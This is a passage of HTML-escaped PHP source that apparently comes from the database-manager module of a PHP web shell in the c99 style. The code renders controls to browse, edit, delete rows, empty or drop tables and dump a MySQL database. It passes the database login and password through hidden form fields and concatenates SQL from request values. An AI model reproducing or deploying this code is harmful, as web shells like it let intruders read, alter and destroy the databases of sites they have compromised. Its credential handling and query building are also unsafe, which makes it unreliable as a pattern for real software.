       {&lt;br /&gt;
        $name = $field[&amp;quot;Field&amp;quot;];&lt;br /&gt;
        if (empty($sql_tbl_insert_q)) {$v = &amp;quot;&amp;quot;;}&lt;br /&gt;
        echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.htmlspecialchars($name).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$field[&amp;quot;Type&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;select name=\&amp;quot;sql_tbl_insert_functs[&amp;quot;.htmlspecialchars($name).&amp;quot;]\&amp;quot;&amp;gt;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;PASSWORD&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;MD5&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;ENCRYPT&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;ASCII&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;CHAR&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;RAND&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;LAST_INSERT_ID&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;COUNT&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;AVG&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;SUM&amp;lt;/option&amp;gt;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;--------&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;SOUNDEX&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;LCASE&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;UCASE&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;NOW&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;CURDATE&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;CURTIME&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;FROM_DAYS&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;FROM_UNIXTIME&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;PERIOD_ADD&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;PERIOD_DIFF&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;TO_DAYS&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;UNIX_TIMESTAMP&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;USER&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;WEEKDAY&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;CONCAT&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_tbl_insert[&amp;quot;.htmlspecialchars($name).&amp;quot;]\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($values[$name]).&amp;quot;\&amp;quot; size=50&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
        $i++;&lt;br /&gt;
       }&lt;br /&gt;
       echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;input type=\&amp;quot;radio\&amp;quot; name=\&amp;quot;sql_tbl_insert_radio\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;quot;; if (empty($sql_tbl_insert_q)) {echo &amp;quot; checked&amp;quot;;} echo &amp;quot;&amp;gt;&amp;lt;b&amp;gt;Insert as new row&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
       if (!empty($sql_tbl_insert_q)) {echo &amp;quot; or &amp;lt;input type=\&amp;quot;radio\&amp;quot; name=\&amp;quot;sql_tbl_insert_radio\&amp;quot; value=\&amp;quot;2\&amp;quot; checked&amp;gt;&amp;lt;b&amp;gt;Save&amp;lt;/b&amp;gt;&amp;quot;; echo &amp;quot;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_tbl_insert_q\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl_insert_q).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;;}&lt;br /&gt;
       echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Confirm\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
     }&lt;br /&gt;
     if ($sql_tbl_act == &amp;quot;browse&amp;quot;)&lt;br /&gt;
     {&lt;br /&gt;
      $sql_tbl_ls = abs($sql_tbl_ls);&lt;br /&gt;
      $sql_tbl_le = abs($sql_tbl_le);&lt;br /&gt;
      echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=multipage\&amp;quot; height=\&amp;quot;12\&amp;quot; width=\&amp;quot;10\&amp;quot; alt=\&amp;quot;Pages\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
      $b = 0;&lt;br /&gt;
      for($i=0;$i&amp;lt;$numpages;$i++)&lt;br /&gt;
      {&lt;br /&gt;
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_order=&amp;quot;.htmlspecialchars($sql_order).&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.($i*$perpage).&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.($i*$perpage+$perpage).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;quot;;}&lt;br /&gt;
       echo $i;&lt;br /&gt;
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo &amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
       if (($i/30 == round($i/30)) and ($i &amp;gt; 0)) {echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
       else {echo &amp;quot;&amp;amp;nbsp;&amp;quot;;}&lt;br /&gt;
      }&lt;br /&gt;
      if ($i == 0) {echo &amp;quot;empty&amp;quot;;}&lt;br /&gt;
      echo &amp;quot;&amp;lt;form method=\&amp;quot;GET\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;act\&amp;quot; value=\&amp;quot;sql\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_db\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_db).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_login\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_login).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_passwd\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_server\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_server).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_port\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_port).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_tbl\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_order\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_order).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;From:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_tbl_ls\&amp;quot; value=\&amp;quot;&amp;quot;.$sql_tbl_ls.&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;b&amp;gt;To:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_tbl_le\&amp;quot; value=\&amp;quot;&amp;quot;.$sql_tbl_le.&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;View\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;1%\&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;boxrow_all\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      for ($i=0;$i&amp;lt;mysql_num_fields($result);$i++)&lt;br /&gt;
      {&lt;br /&gt;
       $v = mysql_field_name($result,$i);&lt;br /&gt;
       if ($e[0] == &amp;quot;a&amp;quot;) {$s = &amp;quot;d&amp;quot;; $m = &amp;quot;asc&amp;quot;;}&lt;br /&gt;
       else {$s = &amp;quot;a&amp;quot;; $m = &amp;quot;desc&amp;quot;;}&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;;&lt;br /&gt;
       if (empty($e[0])) {$e[0] = &amp;quot;a&amp;quot;;}&lt;br /&gt;
       if ($e[1] != $v) {echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.$sql_tbl.&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.$sql_tbl_le.&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.$sql_tbl_ls.&amp;quot;&amp;amp;sql_order=&amp;quot;.$e[0].&amp;quot;%20&amp;quot;.$v.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
       else {echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.$sql_tbl.&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.$sql_tbl_le.&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.$sql_tbl_ls.&amp;quot;&amp;amp;sql_order=&amp;quot;.$s.&amp;quot;%20&amp;quot;.$v.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sort_&amp;quot;.$m.&amp;quot;\&amp;quot; height=\&amp;quot;9\&amp;quot; width=\&amp;quot;14\&amp;quot; alt=\&amp;quot;&amp;quot;.$m.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;}&lt;br /&gt;
       echo &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Action&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))&lt;br /&gt;
      {&lt;br /&gt;
       echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
       $w = &amp;quot;&amp;quot;;&lt;br /&gt;
       $i = 0;&lt;br /&gt;
       foreach ($row as $k=&amp;gt;$v) {$name = mysql_field_name($result,$i); $w .= &amp;quot; `&amp;quot;.$name.&amp;quot;` = '&amp;quot;.addslashes($v).&amp;quot;' AND&amp;quot;; $i++;}&lt;br /&gt;
       if (count($row) &amp;gt; 0) {$w = substr($w,0,strlen($w)-3);}&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;boxrow[]\&amp;quot; value=\&amp;quot;&amp;quot;.$w.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       $i = 0;&lt;br /&gt;
       foreach ($row as $k=&amp;gt;$v)&lt;br /&gt;
       {&lt;br /&gt;
        $v = htmlspecialchars($v);&lt;br /&gt;
        if ($v == &amp;quot;&amp;quot;) {$v = &amp;quot;&amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;NULL&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
        echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
        $i++;&lt;br /&gt;
       }&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_act=query&amp;amp;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.$sql_tbl_ls.&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.$sql_tbl_le.&amp;quot;&amp;amp;sql_query=&amp;quot;.urlencode(&amp;quot;DELETE FROM `&amp;quot;.$sql_tbl.&amp;quot;` WHERE&amp;quot;.$w.&amp;quot; LIMIT 1;&amp;quot;).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sql_button_drop\&amp;quot; alt=\&amp;quot;Delete\&amp;quot; height=\&amp;quot;13\&amp;quot; width=\&amp;quot;11\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl_act=insert&amp;amp;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_ls=&amp;quot;.$sql_tbl_ls.&amp;quot;&amp;amp;sql_tbl_le=&amp;quot;.$sql_tbl_le.&amp;quot;&amp;amp;sql_tbl_insert_q=&amp;quot;.urlencode($w).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=change\&amp;quot; alt=\&amp;quot;Edit\&amp;quot; height=\&amp;quot;14\&amp;quot; width=\&amp;quot;14\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
      mysql_free_result($result);&lt;br /&gt;
      echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;p align=\&amp;quot;left\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=arrow_ltr\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;select name=\&amp;quot;sql_act\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;With selected:&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;deleterow\&amp;quot;&amp;gt;Delete&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Confirm\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     $result = mysql_query(&amp;quot;SHOW TABLE STATUS&amp;quot;, $sql_sock);&lt;br /&gt;
     if (!$result) {echo mysql_smarterror();}&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
      echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;100%\&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;boxtbl_all\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Table&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Rows&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Type&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Created&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Modified&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Size&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Action&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
      $i = 0;&lt;br /&gt;
      $tsize = $trows = 0;&lt;br /&gt;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))&lt;br /&gt;
      {&lt;br /&gt;
       $tsize += $row[&amp;quot;Data_length&amp;quot;];&lt;br /&gt;
       $trows += $row[&amp;quot;Rows&amp;quot;];&lt;br /&gt;
       $size = view_size($row[&amp;quot;Data_length&amp;quot;]);&lt;br /&gt;
       echo &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;boxtbl[]\&amp;quot; value=\&amp;quot;&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($row[&amp;quot;Name&amp;quot;]).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[&amp;quot;Rows&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[&amp;quot;Type&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[&amp;quot;Create_time&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[&amp;quot;Update_time&amp;quot;].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$size.&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_act=query&amp;amp;sql_query=&amp;quot;.urlencode(&amp;quot;DELETE FROM `&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;`&amp;quot;).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sql_button_empty\&amp;quot; alt=\&amp;quot;Empty\&amp;quot; height=\&amp;quot;13\&amp;quot; width=\&amp;quot;11\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_act=query&amp;amp;sql_query=&amp;quot;.urlencode(&amp;quot;DROP TABLE `&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;`&amp;quot;).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sql_button_drop\&amp;quot; alt=\&amp;quot;Drop\&amp;quot; height=\&amp;quot;13\&amp;quot; width=\&amp;quot;11\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl_act=insert&amp;amp;sql_tbl=&amp;quot;.$row[&amp;quot;Name&amp;quot;].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=sql_button_insert\&amp;quot; alt=\&amp;quot;Insert\&amp;quot; height=\&amp;quot;13\&amp;quot; width=\&amp;quot;11\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
       echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
       $i++;&lt;br /&gt;
      }&lt;br /&gt;
      echo &amp;quot;&amp;lt;tr bgcolor=\&amp;quot;000000\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;»&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$i.&amp;quot; table(s)&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$trows.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[1].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[10].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;quot;.$row[11].&amp;quot;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.view_size($tsize).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;p align=\&amp;quot;right\&amp;quot;&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=img&amp;amp;img=arrow_ltr\&amp;quot; border=\&amp;quot;0\&amp;quot;&amp;gt;&amp;lt;select name=\&amp;quot;sql_act\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;\&amp;quot;&amp;gt;With selected:&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tbldrop\&amp;quot;&amp;gt;Drop&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tblempty\&amp;quot;&amp;gt;Empty&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tbldump\&amp;quot;&amp;gt;Dump&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tblcheck\&amp;quot;&amp;gt;Check table&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tbloptimize\&amp;quot;&amp;gt;Optimize table&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tblrepair\&amp;quot;&amp;gt;Repair table&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;option value=\&amp;quot;tblanalyze\&amp;quot;&amp;gt;Analyze table&amp;lt;/option&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;&amp;lt;/select&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Confirm\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/p&amp;gt;&amp;quot;;&lt;br /&gt;
      mysql_free_result($result);&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $acts = array(&amp;quot;&amp;quot;,&amp;quot;newdb&amp;quot;,&amp;quot;serverstatus&amp;quot;,&amp;quot;servervars&amp;quot;,&amp;quot;processes&amp;quot;,&amp;quot;getfile&amp;quot;);&lt;br /&gt;
   if (in_array($sql_act,$acts)) {?&amp;gt;&amp;lt;table border=&amp;quot;0&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Create new DB:&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_act&amp;quot; value=&amp;quot;newdb&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); 